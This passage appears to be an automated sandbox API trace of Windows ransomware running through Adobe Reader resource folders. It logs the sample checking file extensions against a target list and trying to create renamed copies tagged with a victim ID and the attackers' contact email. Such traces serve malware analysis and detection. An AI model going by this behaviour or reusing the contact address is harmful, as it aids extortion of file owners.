liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.862] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\adobe_sign_tag.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\adobe_sign_tag.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.862] CloseHandle (hObject=0x115c) returned 1 [0283.863] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.863] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\adobe_sign_tag_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\adobe_sign_tag_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.864] CloseHandle (hObject=0x115c) returned 1 [0283.865] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.865] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.866] CloseHandle (hObject=0x11c8) returned 1 [0283.866] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.866] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons_fw.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons_fw.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.867] CloseHandle (hObject=0x11c8) returned 1 [0283.868] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.868] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\core_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.868] CloseHandle (hObject=0x11c8) returned 1 [0283.869] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.869] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_field_grabber.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_field_grabber.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.869] CloseHandle (hObject=0x11c8) returned 1 [0283.871] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.871] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.871] CloseHandle (hObject=0x11c8) returned 1 [0283.872] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.872] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\faf_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.873] CloseHandle (hObject=0x11c8) returned 1 [0283.874] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.874] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\Handler@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\handler@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.874] CloseHandle (hObject=0x11c8) returned 1 [0283.875] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.875] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.876] CloseHandle (hObject=0x11c8) returned 1 [0283.876] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.876] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.876] lstrlenW (lpString=".doc") returned 4 [0283.876] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.876] lstrlenW (lpString=".docx") returned 5 [0283.876] lstrcmpiW (lpString1=".docx", lpString2="b.png") returned -1 [0283.876] lstrlenW (lpString=".pdf") returned 4 [0283.876] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.876] lstrlenW (lpString=".xls") returned 4 [0283.876] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.876] lstrlenW (lpString=".xlsx") returned 5 [0283.877] lstrcmpiW (lpString1=".xlsx", lpString2="b.png") returned -1 [0283.877] lstrlenW (lpString=".ppt") returned 4 [0283.877] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString=".zip") returned 4 [0283.877] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.877] lstrlenW (lpString=".rar") returned 4 [0283.877] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.877] lstrlenW (lpString=".bz2") returned 4 [0283.877] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.877] lstrlenW (lpString=".7z") returned 3 [0283.877] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString=".dbf") returned 4 [0283.877] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString=".1cd") returned 4 [0283.877] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString=".jpg") returned 4 [0283.877] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.877] lstrlenW (lpString=".doc") returned 4 [0283.877] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.877] lstrlenW (lpString=".docx") returned 5 [0283.878] lstrcmpiW (lpString1=".docx", lpString2="b.png") returned -1 [0283.878] lstrlenW (lpString=".pdf") returned 4 [0283.878] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.878] lstrlenW (lpString=".xls") returned 4 [0283.878] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.878] lstrlenW (lpString=".xlsx") returned 5 [0283.878] lstrcmpiW (lpString1=".xlsx", lpString2="b.png") returned -1 [0283.878] lstrlenW (lpString=".ppt") returned 4 [0283.878] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.878] lstrlenW (lpString=".zip") returned 4 [0283.878] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.878] lstrlenW (lpString=".rar") returned 4 [0283.878] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.878] lstrlenW (lpString=".bz2") returned 4 [0283.878] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.878] lstrlenW (lpString=".7z") returned 3 [0283.878] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.878] lstrlenW (lpString=".dbf") returned 4 [0283.878] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.878] lstrlenW (lpString=".1cd") returned 4 [0283.878] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\themes\\dark\\sample-thumb.png") returned 131 [0283.878] lstrlenW (lpString=".jpg") returned 4 [0283.878] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.879] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0283.879] lstrlenW (lpString="A12_AddBlue@1x.png") returned 18 [0283.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_addblue@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c8 [0283.879] GetFileSizeEx (in: hFile=0x11c8, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=370) returned 1 [0283.880] CloseHandle (hObject=0x11c8) returned 1 [0283.880] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_addblue@1x.png")) returned 0x20 [0283.880] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_addblue@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0283.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_addblue@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c8 [0283.880] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.880] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_addblue@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.881] CloseHandle (hObject=0x11c8) returned 1 [0283.881] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.881] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.881] lstrlenW (lpString=".doc") returned 4 [0283.881] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.881] lstrlenW (lpString=".docx") returned 5 [0283.881] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0283.881] lstrlenW (lpString=".pdf") returned 4 [0283.881] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.881] lstrlenW (lpString=".xls") returned 4 [0283.881] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.881] lstrlenW (lpString=".xlsx") returned 5 [0283.881] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0283.881] lstrlenW (lpString=".ppt") returned 4 [0283.881] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.881] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.881] lstrlenW (lpString=".zip") returned 4 [0283.881] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.881] lstrlenW (lpString=".rar") returned 4 [0283.881] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.881] lstrlenW (lpString=".bz2") returned 4 [0283.881] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString=".7z") returned 3 [0283.882] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.882] lstrlenW (lpString=".dbf") returned 4 [0283.882] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.882] lstrlenW (lpString=".1cd") returned 4 [0283.882] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.882] lstrlenW (lpString=".jpg") returned 4 [0283.882] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.882] lstrlenW (lpString=".doc") returned 4 [0283.882] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString=".docx") returned 5 [0283.882] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0283.882] lstrlenW (lpString=".pdf") returned 4 [0283.882] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0283.882] lstrlenW (lpString=".xls") returned 4 [0283.882] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0283.882] lstrlenW (lpString=".xlsx") returned 5 [0283.882] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0283.882] lstrlenW (lpString=".ppt") returned 4 [0283.882] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0283.882] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.883] lstrlenW (lpString=".zip") returned 4 [0283.883] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0283.883] lstrlenW (lpString=".rar") returned 4 [0283.883] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0283.883] lstrlenW (lpString=".bz2") returned 4 [0283.883] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0283.883] lstrlenW (lpString=".7z") returned 3 [0283.883] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.883] lstrlenW (lpString=".dbf") returned 4 [0283.883] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.883] lstrlenW (lpString=".1cd") returned 4 [0283.883] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0283.883] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_AddBlue@1x.png") returned 131 [0283.883] lstrlenW (lpString=".jpg") returned 4 [0283.883] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0283.883] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0283.883] lstrlenW (lpString="A12_Checkmark_White@1x.png") returned 26 [0283.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_checkmark_white@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c8 [0283.885] GetFileSizeEx (in: hFile=0x11c8, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=406) returned 1 [0283.886] CloseHandle (hObject=0x11c8) returned 1 [0283.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_checkmark_white@1x.png")) returned 0x20 [0283.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_checkmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0283.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_checkmark_white@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c8 [0283.887] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.887] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Checkmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_checkmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.887] CloseHandle (hObject=0x11c8) returned 1 [0283.887] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 